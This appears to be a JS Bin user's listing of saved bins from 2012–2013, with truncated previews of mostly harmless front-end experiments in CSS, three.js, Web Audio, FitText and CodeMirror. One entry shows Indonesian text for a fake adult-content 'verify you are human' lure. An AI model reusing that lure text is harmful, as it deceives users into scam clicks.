ecoviz 10 May 2013 Archive Un-archive </html
etobeb 10 May 2013 Archive Un-archive JS Bin
iziten 09 May 2013 Archive Un-archive div a(href="#") text
elovad 09 May 2013 Archive Un-archive div a text and some
inisev 09 May 2013 Archive Un-archive #turn.showTurn { -webkit-animation: cssAnimation 1s 1 ease; } #turn { width: 100%; position: absolute; z-index: 9; -webkit-transform: scale(0.75) translateY(20%); opacity: 0.5; background: red; } @-webkit-keyframes cssAnimation { 0% { -webkit-transform: s
obibot 02 May 2013 Archive Un-archive The MIT License (MIT) Copyright © 2013 &lt;copyright holders&gt; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction
1 01 May 2013 Archive Un-archive The MIT License (MIT) Copyright © 2013 &lt;copyright holders&gt; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction
iqufon 01 May 2013 Archive Un-archive function Ball() { var texture = new THREE.ImageUtils.loadTexture('/images/logo.png'); var material = new THREE.ParticleBasicMaterial({ map: texture }); THREE.Particle.call( this, material ); } Ball.prototype = new THREE.Particle(); Ball.prototype.construc
1 01 May 2013 Archive Un-archive var texture = THREE.ImageUtils.loadTexture('/images/logo.png'); var material = THREE.ParticleBasicMaterial({ map: texture });
elowop 01 May 2013 Archive Un-archive // Particle3D class var Ball = function () { var material = new THREE.ParticleCanvasMaterial( { color: 0xff0000, program: function ( context ) { // paint a custom shape on this canvas context.beginPath(); context.arc( 0, 0, 1, 0, Math.PI*2, true ); contex
iviqep 30 Apr 2013 Archive Un-archive Here is Woolly, the CSS sheep: And here he is as a thumbnail:
1 30 Apr 2013 Archive Un-archive div::outside { display: block; border: dashed; } div::outside(2) { display: block; border: dashed; }
ipeyaw 29 Apr 2013 Archive Un-archive var foo = 'bar'
iqasoy 27 Apr 2013 Archive Un-archive This is an example...
3 27 Apr 2013 Archive Un-archive ...
1 27 Apr 2013 Archive Un-archive ...
aqifod 26 Apr 2013 Archive Un-archive angular.module('parts', ['ngResource']) .controller('PartCntl', [ '$scope', '$resource', function ($scope, $resource) { console.log('part loaded'); var Part = $resource('/axitof/1.js'); $scope.part = new Part(); Part.get(function (p) { $scope.part = p; })
axitof 26 Apr 2013 Archive Un-archive {"title":"Introduction to HTML5","content":"Learn about the basics\nLorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\ntempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\n quis nostrud exercitation ullamco
aturaf 26 Apr 2013 Archive Un-archive body { font-family: sans-serif; }
inupak 26 Apr 2013 Archive Un-archive JS Bin
uzezuz 26 Apr 2013 Archive Un-archive # My module This module is about xyz
inewor 24 Apr 2013 Archive Un-archive alert('1'); eval("alert('2')"); alert('3');
uyukeb 24 Apr 2013 Archive Un-archive var history = 'remy'; console.log(history); delete history; console.log(history); var localStorage = 'remy'; console.log(localStorage); delete localStorage; console.log(localStorage);
efafuk 24 Apr 2013 Archive Un-archive var history = 'remy'; console.log(history); delete history; console.log(history); var localStorage = 'remy'; console.log(localStorage); delete localStorage; console.log(localStorage);
ukequw 24 Apr 2013 Archive Un-archive var camera, scene, renderer; var geometry, material, ball; //var scene2, renderer2; var counter = 0, tiles = []; init(); animate(); function init() { camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 1, 1000 ); camera.posit
awupor 24 Apr 2013 Archive Un-archive /*globals THREE:true*/ "use strict"; var container; var camera, scene, renderer; var floor, ball; var material; var TO_RADIANS = Math.PI/180; // Particle3D class var Ball = function () { var material = new THREE.ParticleCanvasMaterial( { color: 0xff0000,
uhukab 23 Apr 2013 Archive Un-archive 0 Name? And name again: Change the data property values on the console %code% var data = Bind({ me: { score: 10, name: "Remy" } }, { 'me.name': '.name', 'me.score': '#score' }); data.me.score++;
1 23 Apr 2013 Archive Un-archive body { font-family: sans-serif; }
azevox 23 Apr 2013 Archive Un-archive var Binding = (function () { "use strict"; var $ = document.querySelector.bind(document); function extend(target, object, mapping, _path) { Object.getOwnPropertyNames(object).forEach(function (key) { var path = [].slice.call(_path); var value = object[key
machina 23 Apr 2013 Archive Un-archive Check the console for logs
3 23 Apr 2013 Archive Un-archive var Fsm = machina.Fsm.extend({ initialize: function() { // do stuff here if you want to perform more setup work var self = this; self.on('transition', function (data) { self.trigger('state.' + data.toState, { previousState: data.fromState }); }); }, state
2 23 Apr 2013 Archive Un-archive document.getElementById("hello").innerHTML = "<strong>This URL does not have any code saved to it.</strong>";
edojuy 22 Apr 2013 Archive Un-archive (function () { var PeerConnection = (window.PeerConnection || window.webkitPeerConnection00 || window.webkitRTCPeerConnection || window.mozRTCPeerConnection); var URL = (window.URL || window.webkitURL || window.msURL || window.oURL); var getUserMedia = (n
1 22 Apr 2013 Archive Un-archive video { transform: scaleX(-1); } p { text-align: center; } Snapshot Kiosk Loading... navigator.getUserMedia({video:true}, gotStream, noStream); var video = document.getElementById('monitor'); var canvas = document.getElementById('photo'); functio
iqahiy 22 Apr 2013 Archive Un-archive var Game = machina.Fsm.extend({ initialize: function() { // do stuff here if you want to perform more setup work // this executes prior to any state transitions or handler invocations }, initialState: "uninitialized", states: { uninitialized: {}, waiting:
uxixon 22 Apr 2013 Archive Un-archive var Game = machina.Fsm.extend({ initialize: function() { // do stuff here if you want to perform more setup work // this executes prior to any state transitions or handler invocations }, initialState: 'waiting', states: { waiting: { _onEnter: function ()
axaduh 21 Apr 2013 Archive Un-archive * { font-family: sans-serif; } div.parent{ position: absolute; top: 0; left:0; width: 100%; height: 100%; overflow: hidden; } div.child { background: red; width: 60rem; height: 101rem; position: absolute; right: 50%; top: 0; overflow: hidden; text-transfo
otakup 21 Apr 2013 Archive Un-archive I don't want the div below affecting page layout. So the page height should ignore the element. Currently it's not, and the body height is tall due to the div below.
ebuxig 21 Apr 2013 Archive Un-archive * { font-family: sans-serif; } body { position: absolute; clip: rect(0, 0, 100%, 100%); } div { background: red; width: 60rem; height: 11rem; position: absolute; right: 50%; top: 0; overflow: hidden; z-index: 0; text-transform: uppercase; display: block;
2 21 Apr 2013 Archive Un-archive * { font-family: sans-serif; } body { clip: rect(0, 0); } div { background: red; width: 60rem; height: 11rem; position: absolute; left: 0px; top: 0; overflow: hidden; z-index: 0; text-transform: uppercase; display: block; -webkit-transform: rotate(-41deg)
1 21 Apr 2013 Archive Un-archive * { font-family: sans-serif; } div { background: red; width: 60rem; height: 11rem; position: absolute; right: 50%; top: 0; overflow: hidden; z-index: 0; text-transform: uppercase; display: block; -webkit-transform: rotate(-65deg); -webkit-transform-origin
uqayun 21 Apr 2013 Archive Un-archive input, div { background: #E74C3C; width: 9rem; margin: 0 auto; border-radius: 9rem; padding: 1rem; text-align: center; height: 9rem; position: relative; z-index: 1; border: 0; font-size: 4rem; text-transform: uppercase; display: block; box-sizing: content
uyuwuy 18 Apr 2013 Archive Un-archive JS Bin
eberan 18 Apr 2013 Archive Un-archive var addEvent = (function () { if (document.addEventListener) { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.addEventListener(type, fn, false); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el
8 18 Apr 2013 Archive Un-archive /*global jQuery */ /*! * FitText.js 1.1 * * Copyright 2011, Dave Rupert http://daverupert.com * Released under the WTFPL license * http://sam.zoy.org/wtfpl/ * * Date: Thu May 05 14:23:00 2011 -0600 */ (function( $ ){ $.fn.fitText = function( kompressor, o
7 18 Apr 2013 Archive Un-archive var addEvent = (function () { if (document.addEventListener) { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.addEventListener(type, fn, false); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el
6 18 Apr 2013 Archive Un-archive Squeeze with FitText Squeeze with FitText Squeeze with FitText Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris
5 15 Apr 2013 Archive Un-archive var addEvent = (function () { if (document.addEventListener) { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.addEventListener(type, fn, false); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el
4 15 Apr 2013 Archive Un-archive var addEvent = (function () { if (document.addEventListener) { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.addEventListener(type, fn, false); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el
3 15 Apr 2013 Archive Un-archive Squeeze with FitText Squeeze with FitText Squeeze with FitText Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris
2 15 Apr 2013 Archive Un-archive function fitText(nodes, kompressor, options) { // Setup options var compressor = kompressor || 1, resizers = []; if (!nodes[0]) { nodes = [nodes]; } if (options === undefined) options = {}; if (options.minFontSize === undefined) options.minFontSize = Numb
1 15 Apr 2013 Archive Un-archive function fitText(nodes, kompressor, options) { // Setup options var compressor = kompressor || 1, resizers = []; if (!nodes[0]) { nodes = [nodes]; } if (options === undefined) options = {}; if (options.minFontSize === undefined) options.minFontSize = Numb
ogehuw 18 Apr 2013 Archive Un-archive var foo = function () { }; foo.prototype = { set: function(prop) { var args = Array.prototype.slice.apply(arguments, [1]); if (this.setter[prop]) { this.setter[prop].apply(this, args); } else { this[prop] = args.join(','); } }, get: function(prop) { if (t
ategir 17 Apr 2013 Archive Un-archive var body = document.body; body.classList.add('hasJS'); // console.log(body.classList.contains('')); DOMTokenList.prototype.add.apply(body.classList, 'foo bar'.split(' '))
2 17 Apr 2013 Archive Un-archive document.body.classList.add('hasJS'); console.log(document.body.classList.contains(''));
1 17 Apr 2013 Archive Un-archive //$('body').addClass('hasJS'); //document.body.className += ' hasJS'; document.body.classList.add('hasJS'); //$('body').removeClass('hasJS');
irocuc 17 Apr 2013 Archive Un-archive var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ f.style.left = (ev.clientX-25)+'px'; f.style.top = (ev.clientY-25)+'px'; }); f.addEventListener('transitionend', function (e) { console.log(e.type); }); $('body').on(
3 17 Apr 2013 Archive Un-archive p { font-family: sans-serif; } #foo{ border-radius:50px; width:50px; height:50px; background:red; position:absolute; top:0; left:0; -moz-transition: all 1s; -webkit-transition: all 1s; -ms-transition: all 1s; -o-transition: all 1s; transition: all 1s; } :
2 17 Apr 2013 Archive Un-archive var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ f.style.left = (ev.clientX-25)+'px'; f.style.top = (ev.clientY-25)+'px'; }); f.addEventListener('transitionend', function (e) { console.log(e.type); });
1 17 Apr 2013 Archive Un-archive var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ f.style.left = (ev.clientX-25)+'px'; f.style.top = (ev.clientY-25)+'px'; }); f.addEventListener('webkitTransitionEnd', function (e) { console.log(e.type); });
inasuv 17 Apr 2013 Archive Un-archive var a = $('a'); console.log( a[0].href ); console.log( a[0].getAttribute('href') ); console.log( a.attr('href') );
1 17 Apr 2013 Archive Un-archive link
ipapur 17 Apr 2013 Archive Un-archive /*globals Element:true, NodeList:true*/ $ = (function (document, $) { var element = Element.prototype, nodeList = NodeList.prototype, forEach = 'forEach', trigger = 'trigger', each = [][forEach], dummy = document.createElement(); nodeList[forEach] = each;
1 17 Apr 2013 Archive Un-archive /*globals Element:true, NodeList:true*/ $ = (function (document, $) { var element = Element.prototype, nodeList = NodeList.prototype, forEach = 'forEach', trigger = 'trigger', each = [][forEach], dummy = document.createElement(); nodeList[forEach] = each;
elisiq 16 Apr 2013 Archive Un-archive Email 1: Email 2:
evixad 16 Apr 2013 Archive Un-archive body { font-size: 55px }
ikumog 16 Apr 2013 Archive Un-archive JS Bin
ikoxih 15 Apr 2013 Archive Un-archive body { font-family: sans-serif; } #second :invalid { border: 5px solid red; }
1 15 Apr 2013 Archive Un-archive This is the first simple example - reset does reset the form state. This form shows a red border around :invalid fields - note the email field is "invalid" by default (because it's required)
imapak 15 Apr 2013 Archive Un-archive In JS Bin the font below will be 50px inside JS Bin's live preview, but not resize (because I'm missing the px in the JS) without the iframe. ...because iframes a funky. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Vitae voluptatibus nostrum
ipohew 14 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var targetNode = { down: null, up: null }, eventTypes = ['', 'tap', 'doubletap', 'hold', 'longhold']; var root = document.documentElement; // Button timing variables var debounce = 20, // ms debounce period to prevent flicker
6 13 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var targetNode = nu var root = document.documentElement; // Button timing variables var debounce = 20, // ms debounce period to prevent flickering when pressing or releasing the button DCgap = 250, // max ms between clicks fo
5 13 Apr 2013 Archive Un-archive button state tracking
4 13 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var root = document.documentElement; // Button timing variables var debounce = 20, // ms debounce period to prevent flickering when pressing or releasing the button DCgap = 250, // max ms between clicks for a double click eve
3 11 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var buttonValue = HIGH; var lastButton = HIGH; var root = document.documentElement; // Button timing variables var debounce = 20, // ms debounce period to prevent flickering when pressing or releasing the button DCgap = 250,
2 11 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var buttonValue = HIGH; var lastButton = HIGH; // Button timing variables var debounce = 20, // ms debounce period to prevent flickering when pressing or releasing the button DCgap = 250, // max ms between clicks for a double
1 11 Apr 2013 Archive Un-archive var HIGH = true, LOW = false; var buttonValue = HIGH; var lastButton = HIGH; // Button timing variables var debounce = 20, // ms debounce period to prevent flickering when pressing or releasing the button DCgap = 250, // max ms between clicks for a double
ezeruw 11 Apr 2013 Archive Un-archive body { padding: 0; margin: 0; background: #3FA8C6; background-image: -moz-linear-gradient(top, #3fa8c6 0%, #3fa8c6 0%, #399ab2 100%); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3fa8c6), color-stop(0%,#3fa8c6), color-s
ahocud 11 Apr 2013 Archive Un-archive JS Bin
ugutiw 09 Apr 2013 Archive Un-archive Tab to focus the input or just use the mouse
2 09 Apr 2013 Archive Un-archive Tab to focus the input or just use the mouse
2 09 Apr 2013 Archive Un-archive Tab to focus the input or just use the mouse
1 09 Apr 2013 Archive Un-archive Tab to focus the input or just use the mouse
uwofuj 09 Apr 2013 Archive Un-archive JS Bin
owegod 06 Apr 2013 Archive Un-archive This is an example of a protected url - nice
1 06 Apr 2013 Archive Un-archive This is an example of a protected url
agugah 05 Apr 2013 Archive Un-archive Edit - Il Blog di HTML.it
iwetiy 04 Apr 2013 Archive Un-archive //creating the context context = new webkitAudioContext(); //allways the first code for audio API // in the global scope so we can disconnect var oscillator, gain; function osc1(frequency){ // Creating a function that has an oscillator going to gainNode a
ubilac 04 Apr 2013 Archive Un-archive JS Bin
imocic 04 Apr 2013 Archive Un-archive setTimeout(function() { document.querySelector('p').id = 'game-3'; location = location; }, 500);
1 04 Apr 2013 Archive Un-archive body { font-size: 106px; } p:target { background: red; }
esufet 04 Apr 2013 Archive Un-archive Fade Method 3 This technique uses CSS animations to fade the image in and out.
enowox 02 Apr 2013 Archive Un-archive Move your mouse around this document - whilst it moves, the throttle function will tick/tock
etizam 02 Apr 2013 Archive Un-archive if (window.location.hash.indexOf('#popup') === -1) { document.documentElement.onclick = function () { window.open(window.location + '#popup', 'Popup', 'width=300,height=300'); } } else { // we are the popup initPopupClient(); } function initPopupClient()
1 02 Apr 2013 Archive Un-archive body { font-family: helvetica; }
oqapel 01 Apr 2013 Archive Un-archive body { font-family: cousine, monospace; }
2 30 Mar 2013 Archive Un-archive Hello everyone, I'm Remy. I'm deeply honoured that Andrew has asked me to be 1/2 of a best men, the 2nd best man will be giving his own speech right after me. I've known Andrew nearly all our lives, probably why I'm one of the few that keeps calling him "
1 30 Mar 2013 Archive Un-archive # Best Man's Speech Hi there, I'm Remy. I'm deeply honoured that Andrew has asked me to be 1/2 of a best - don't worry, the 2nd best man will be giving his own speech soon enough ::snarf, snarf:: I've known Andrew nearly all our lives, probably why I'm on
uyowes 28 Mar 2013 Archive Un-archive do ($ = jQuery)-> # Utilities after = (ms,cb) -> setTimeout cb,ms every = (ms,cb) -> setInterval cb,ms print = (ar...) -> console.log ar... # Enable Tooltips $("[data-hover=tooltip]").tooltip() # Enable Action Buttons $("[data-action]").click -> $this = $
52 28 Mar 2013 Archive Un-archive do ($ = jQuery)-> # Utilities after = (ms,cb) -> setTimeout cb,ms every = (ms,cb) -> setInterval cb,ms print = (ar...) -> console.log ar... # Enable Tooltips $("[data-hover=tooltip]").tooltip() # Enable Action Buttons $("[data-action]").click -> $this = $
ubifal 28 Mar 2013 Archive Un-archive var product = document.getElementsByClassName('product'); div.oninput = function () { alert('fuck yeah'); };
azekok 28 Mar 2013 Archive Un-archive var context; var gfx; var osc; var analyser; var rawanalyser; var width = window.innerWidth * 0.9; var notchFilter; var noteStrings = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"]; var running = false; window.addEventListener('load', i
17 14 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var rawanalyser; var width = window.innerWidth * 0.9; var notchFilter; var noteStrings = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"]; var running = false; window.addEventListener('load', i
16 12 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var rawanalyser; var width = window.innerWidth * 0.9; var notchFilter; var noteStrings = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"]; window.addEventListener('load', init, false); function
15 11 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth * 0.9; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this
14 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth * 0.9; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this
12 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this brows
11 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this brows
10 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this brows
9 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; var width = window.innerWidth; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this brows
8 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
7 10 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
5 08 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
4 08 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
3 08 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
2 08 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
1 08 Dec 2012 Archive Un-archive var context; var gfx; var osc; var analyser; window.addEventListener('load', init, false); function init() { setup(); try { context = new webkitAudioContext(); } catch(e) { alert('Web Audio API is not supported in this browser'); } analyser = context.crea
elotaq 27 Mar 2013 Archive Un-archive var i = new Image(); i.crossOrigin = ''; i.src="http://rem.io/rem.jpg";
owata 27 Mar 2013 Archive Un-archive HTML 5
emolor 25 Mar 2013 Archive Un-archive context-view
uxaxek 25 Mar 2013 Archive Un-archive few few efw few f e ewf
ilitit 25 Mar 2013 Archive Un-archive few few efw few f e ewf
egipuf 24 Mar 2013 Archive Un-archive Click on play to watch! // Click Continue To Verify You Are Human // --> Konten Dewasa!!! Verifikasi Anda Adalah +18 &nbsp;&nbsp;&nbsp;&nbsp;Step 1: Untuk mendapatkan Verification Code klik tombol dibawah ini --> &nbsp;&nbsp; &nbsp;&nbs
ujikax 22 Mar 2013 Archive Un-archive div { -webkit-user-select: none; -moz-user-select: none; user-select: none; } input { -webkit-user-select: text !important; -moz-user-select: text !important; user-select: text !important; }
1 22 Mar 2013 Archive Un-archive div { -webkit-user-select: none; -moz-user-select: none; user-select: none; } input { -webkit-user-select: text; -moz-user-select: text; user-select: text; }
ufefam 21 Mar 2013 Archive Un-archive JS Bin
6 18 Mar 2013 Archive Un-archive var Playlist = function (options) { var playlist = this; if (typeof options === 'Array') { playlist.list = options; options = {}; if (arguments.length === 2) { options = arguments[1]; } } playlist.playback = new Audio(); playlist.playback.addEventListener
4 18 Mar 2013 Archive Un-archive var Playlist = function (options) { var playlist = this; if (typeof options === 'Array') { playlist.list = options; options = {}; if (arguments.length === 2) { options = arguments[1]; } } var settings = playlist.settings = { whenToBuffer: options.whenToBu
3 18 Mar 2013 Archive Un-archive var Playlist = function (options) { var playlist = this; if (typeof options === 'Array') { playlist.list = options; options = {}; if (arguments.length === 2) { options = arguments[1]; } } var settings = playlist.settings = { whenToBuffer: options.whenToBu
2 18 Mar 2013 Archive Un-archive var Playlist = function (options) { var playlist = this; if (typeof options === 'Array') { playlist.list = options; options = {}; } var settings = playlist.settings = { whenToBuffer: options.whenToBuffer || 0.8, loop: options.loop === undefined ? true : o
1 18 Mar 2013 Archive Un-archive var Playlist = function (options) { var playlist = this; var settings = playlist.settings = { whenToBuffer: options.whenToBuffer || 0.2 loop: options.loop === undefined ? true : options.loop }; playlist.audio = new Audio(); playlist.buffer = new Audio();
ehohuw 21 Mar 2013 Archive Un-archive wargh...
5 21 Mar 2013 Archive Un-archive wargh...
amobon 21 Mar 2013 Archive Un-archive function map(x, in_min, in_max, out_min, out_max) { return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min; } var el = document.querySelector('pre'); window.addEventListener('deviceorientation', function (event) { var g = map(event.gamma,
okifor 21 Mar 2013 Archive Un-archive JS Bin
uwerok 21 Mar 2013 Archive Un-archive function hookup(el) { el.addEventHandler('click', function () { // use lots of memory // doesn't reference el at all. }, false); el.addEventHandler('mouseover', function () { // not using el.innerHTML because it causes a leak, so // el.innerHTML = 'foo';
1 21 Mar 2013 Archive Un-archive function hookup(el) { el.addEventHandler('click', function () { // use lots of memory // doesn't reference el at all. }, false); el.addEventHandler('mouseover', function () { el.innerHTML = 'foo'; // use more memory - because I'm referencing `el` // isn't
alojez 20 Mar 2013 Archive Un-archive var el = document.createElement('p'); el.appendChild(document.createTextNode('Hello')); el.style.background='red'; document.body.appendChild(el); window.getComputedStyle(el,':hover').setProperty('background', 'blue', '');
ocanak 20 Mar 2013 Archive Un-archive JS Bin
arehah 19 Mar 2013 Archive Un-archive var spin = "⣾⣽⣻⢿⡿⣟⣯⣷", title = document.getElementById('spinner'), i=0; setInterval(function() { i = i==spin.length-1 ? 0 : ++i; title.innerHTML = spin[i]; },300);
ebuyed 19 Mar 2013 Archive Un-archive var ctx = document.querySelector('canvas').getContext('2d'); ctx.canvas.width = ctx.canvas.height = 16; var dlarge = Math.PI / 180 * 270; var dsmall = Math.PI / 180 * 90; ctx.lineCap = 'round'; ctx.lineWidth = 2; ctx.beginPath(); ctx.arc(8, 10, 5, Math.PI
igewud 17 Mar 2013 Archive Un-archive // ==UserScript== // @match https://www.pivotaltracker.com/* // ==/UserScript== var lastRole = localStorage.lastRole || ''; var ta = document.querySelector('textarea'); document.body.addEventListener('keydown', function (event) { var node = event.target;
3 17 Mar 2013 Archive Un-archive // ==UserScript== // @match https://www.pivotaltracker.com/* // ==/UserScript== var lastRole = localStorage.lastRole || ''; var ta = document.querySelector('textarea'); document.body.addEventListener('keydown', function (event) { var node = event.target;
2 17 Mar 2013 Archive Un-archive var template = new RegExp('As a (.*)(?:, I want (.*)(?: so that (.*))*)*'); var ta = document.querySelector('textarea'); ta.value = 'As a '; ta.addEventListener('keydown', function (event) { if (ta.value.indexOf('As a ') === 0 && event.which === 9) { var
1 17 Mar 2013 Archive Un-archive var template = 'As a %type%, I want %goal% so that %reason%';
ajutox 16 Mar 2013 Archive Un-archive JS Bin
onizux 16 Mar 2013 Archive Un-archive JS Bin
opoxix 16 Mar 2013 Archive Un-archive Motion sensor testing
opoqih 16 Mar 2013 Archive Un-archive JS Bin
ulujaz 14 Mar 2013 Archive Un-archive JS Bin
uwizuv 14 Mar 2013 Archive Un-archive :invalid { background: red; }
umibuc 14 Mar 2013 Archive Un-archive Please consider donating: a local project in memory of my daughter remy sharp&#8217;s b:log About [code] and all that jazz Loading tweets...or if you can't wait: Remy's twitterings Blog jQuery Projects Twitter Apps Talks About Work Subscribe &l
exogat 11 Mar 2013 Archive Un-archive JS Bin
onohed 11 Mar 2013 Archive Un-archive CodeMirror: Autocomplete demo function getCompletions(token, context) { var found = [], start = token.string; function maybeAdd(str) { if (str.indexOf(start) == 0) found.push(str); } function gatherCompletions(obj) { if (typeof obj == "string") forEach(s
4 11 Mar 2013 Archive Un-archive (function() { CodeMirror.simpleHint = function(editor, getHints, givenOptions) { // Determine effective options based on given values and defaults. var options = {}, defaults = CodeMirror.simpleHint.defaults; for (var opt in defaults) if (defaults.hasOwnP
3 11 Mar 2013 Archive Un-archive (function() { CodeMirror.simpleHint = function(editor, getHints, givenOptions) { // Determine effective options based on given values and defaults. var options = {}, defaults = CodeMirror.simpleHint.defaults; for (var opt in defaults) if (defaults.hasOwnP
2 11 Mar 2013 Archive Un-archive (function() { CodeMirror.simpleHint = function(editor, getHints, givenOptions) { // Determine effective options based on given values and defaults. var options = {}, defaults = CodeMirror.simpleHint.defaults; for (var opt in defaults) if (defaults.hasOwnP
1 11 Mar 2013 Archive Un-archive CodeMirror: Autocomplete demo function getCompletions(token, context) { var found = [], start = token.string; function maybeAdd(str) { if (str.indexOf(start) == 0) found.push(str); } function gatherCompletions(obj) { if (typeof obj == "string") forEach(s
umican 11 Mar 2013 Archive Un-archive function { }
aqewix 11 Mar 2013 Archive Un-archive p { }
upelam 08 Mar 2013 Archive Un-archive ul>li>a
axifod 07 Mar 2013 Archive Un-archive Please consider donating: a local project in memory of my daughter remy sharp&#8217;s b:log About [code] and all that jazz Loading tweets...or if you can't wait: Remy's twitterings Blog jQuery Projects Twitter Apps Talks About Work Subscribe &l
uselik 06 Mar 2013 Archive Un-archive My replies to recent @rem tweets
1 21 Sep 2011 Archive Un-archive My replies to recent @rem tweets
ojabul 05 Mar 2013 Archive Un-archive body { font-family: arial; }
oqoxiv 27 Feb 2013 Archive Un-archive body, html { min-height: 100%; font-family: arial; font-size: 16px; margin-top: 26px; } .tall { height: 1000px; } .fixed { background: red; color: white; padding: 10px; position: fixed; top: -2px; left: 0; right: 0; margin: 0; }
1 27 Feb 2013 Archive Un-archive body, html { min-height: 100%; font-family: arial; margin: 0; font-size: 16px; } .tall { height: 1000px; } .fixed { background: red; color: white; padding: 10px; position: fixed; top: 0; left: 0; right: 0; margin: 0; }
azegew 25 Feb 2013 Archive Un-archive Drag and drop, automatic upload Drag &amp; drop not supported, but you can still upload via this input field: File API &amp; FileReader API not supported XHR2's FormData is not supported XHR2's upload progress isn't supported Upload progress: 0 Drag a
imisix 25 Feb 2013 Archive Un-archive JS Bin
ujonup 25 Feb 2013 Archive Un-archive var track = new Track(), ball = document.getElementById('ball'); document.documentElement.onmousemove = function () { ball.style.left = track.x + 'px'; ball.style.top = track.y + 'px'; }
2 25 Feb 2013 Archive Un-archive Game
1 16 Feb 2013 Archive Un-archive Game
ifevar 24 Feb 2013 Archive Un-archive Simple Angular App
uwehul 24 Feb 2013 Archive Un-archive JS Bin
abacis 22 Feb 2013 Archive Un-archive document.body.onclick = function (e) { alert('clicked'); }; document.body.ontouchstart = function (e) { e.preventDefault(); alert('touchstart'); };
ozimun 21 Feb 2013 Archive Un-archive body { background: hotpink; color: black; font-family: monospace; font-weight: bold; font-size: 24px; }
uqoruc 21 Feb 2013 Archive Un-archive Just a test, no - this doesn't work Now via the mac - works?
ajawid 20 Feb 2013 Archive Un-archive Just an example - doesn't this work?. I'm just going to type really slowely Now for some CSS Shoot this does work! but maybe there's a windows problem I've not seen - crapit.
idepuf 19 Feb 2013 Archive Un-archive
eqekiz 19 Feb 2013 Archive Un-archive $('select').on('change', function () { if (this.value == -1) { var shelf = prompt('New shelf name'); if (shelf) { $('select').append('<option>' + shelf.trim() + '</option>'); setTimeout(function () { $('select')[0].value = shelf; }, 0); } } });
exiwik 19 Feb 2013 Archive Un-archive JS Bin
eguciv 19 Feb 2013 Archive Un-archive Show Alert Play Beep Vibrate
